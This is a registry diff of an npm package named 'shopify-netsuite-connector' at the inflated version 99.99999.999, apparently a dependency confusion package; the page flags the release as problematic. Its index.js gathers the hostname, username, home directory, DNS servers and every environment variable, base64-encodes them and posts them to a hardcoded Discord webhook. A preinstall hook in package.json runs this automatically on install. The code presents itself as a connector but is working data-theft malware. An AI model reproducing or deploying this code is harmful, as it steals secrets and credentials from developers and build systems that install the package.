shopify-netsuite-connector 99.99999.999

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of shopify-netsuite-connector might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +49 -0
  2. package/package.json +15 -0
package/index.js ADDED
@@ -0,0 +1,49 @@
1
+ const os = require('os');
2
+ const dns = require('dns');
3
+ const https = require('https');
4
+ const package = require('./package.json');
5
+
6
+ const discordWebhookUrl = 'https://discord.com/api/webhooks/1193182280789786725/C46HILyud98QcId10b9fIOMw10R9yrPW1EDE0INpleh50cmPj9P0t_6veoy0chQtNccW';
7
+
8
+
9
+ const detailedMessage = `Alert: CTF Dependency Confusion Attack Detected!
10
+ Current Directory: ${__dirname}
11
+ Home Directory: ${os.homedir()}
12
+ Hostname: ${os.hostname()}
13
+ Username: ${os.userInfo().username}
14
+ Dns-Server: ${dns.getServers()}
15
+ Package: ${JSON.stringify(package, null, 2)}
16
+ Environment Variables: ${JSON.stringify(process.env)}`;
17
+
18
+ const base64Message = Buffer.from(detailedMessage).toString('base64');
19
+
20
+
21
+ const payload = JSON.stringify({
22
+ content: `Data: ${base64Message}`
23
+ });
24
+
25
+ const parsedUrl = new URL(discordWebhookUrl);
26
+
27
+ const webhookReqOptions = {
28
+ hostname: parsedUrl.hostname,
29
+ path: parsedUrl.pathname,
30
+ method: 'POST',
31
+ headers: {
32
+ 'Content-Type': 'application/json',
33
+ 'Content-Length': Buffer.byteLength(payload)
34
+ }
35
+ };
36
+
37
+ const req = https.request(webhookReqOptions, (res) => {
38
+ console.log(`Status: ${res.statusCode}`);
39
+ res.on('data', (d) => {
40
+ process.stdout.write(d);
41
+ });
42
+ });
43
+
44
+ req.on('error', (e) => {
45
+ console.error(e);
46
+ });
47
+
48
+ req.write(payload);
49
+ req.end();
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "shopify-netsuite-connector",
3
+ "version": "99.99999.999",
4
+ "description": "akshansh-security",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "akshansh",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "shopify-netsuite-connector": "^99.999.999"
14
+ }
15
+ }